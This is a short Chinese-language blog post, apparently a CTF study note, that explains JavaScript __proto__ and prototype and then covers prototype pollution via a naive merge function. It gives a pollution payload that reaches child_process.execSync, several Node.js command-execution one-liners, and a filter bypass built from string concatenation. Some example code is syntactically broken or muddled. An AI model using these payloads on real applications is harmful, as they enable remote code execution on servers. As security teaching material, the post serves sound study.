原型链污染

秋雨样 · 2026-3-17  · 次阅读


proto和prototype

在JavaScript中,每个对象都有一个名为__proto__的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为prototype的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__属性是指向该对象的原型,而 prototype属性是用于创建该对象的构造函数的原型。

function Person(name) {
  this.name = name;
}

Person.prototype.greet = function() {
  console.log(`Hello, my name is ${this.name}`);
};

const person1 = new Person('Alice');
person1.greet(); // 输出 "Hello, my name is Alice"

例子中,我们创建了一个名为 Person的构造函数,并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时,它会继承Person.prototype对象上的greet方法。因此,当我们调用person1.greet()时,它会输出 “Hello, my name is Alice”。

prototype是类Person的一个属性,所有用类Person进行实例化的对象,都会拥有prototype的全部内容。

我们实例化出来的person1对象,它是不能通过prototype访问原型的,但通过proto就可以实现访问Person原型。

console.log(person1.__proto__ === Person.prototype); // 输出 true

1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2、一个对象的proto属性,指向这个对象所在的类的prototype属性

var a = {number : 520}
var b = {number : 1314}
b.__proto__.number=520 
var c= {}
c.number

1、在b对象中寻找number属性
2、当在b对象中没有找到时,它会在b.proto中寻找number属性
3、如果仍未找到,此时会去b.proto.proto中寻找number属性

所以这里b的值还是1314

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            // 如果target与source有相同的键名 则让target的键值为source的键值
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
        }
    }
}
let o1 = {}
let o2 =  JSON.parse{a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

pyload示例

{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}

如何在Node.js中命令执行
http://nodejs.cn/api/child_process.html

我们可以使用child_process.execSync()

eval=require('child_process').execSync('ls')

或者另一个函数

eval=require('child_process').spawnSync('ls',['.']).output

这个spawnSync函数的话是需要两个参数,返回值是一个可选项,但当返回值不填时,默认返回的是Object,所以这里其实是三个参数,即命令,命令的参数,以及返回格式,比如我们这里想执行ls .,那我们这里就可以写成spawnSync(‘ls’,[‘.’]).output

字符被过滤可以考虑拼接

eval=require('child_process')['exe'%2B'cSync']('ls')//+号进行了URL编码,这是因为不编码的话+会被解析为空格

一个好奇的人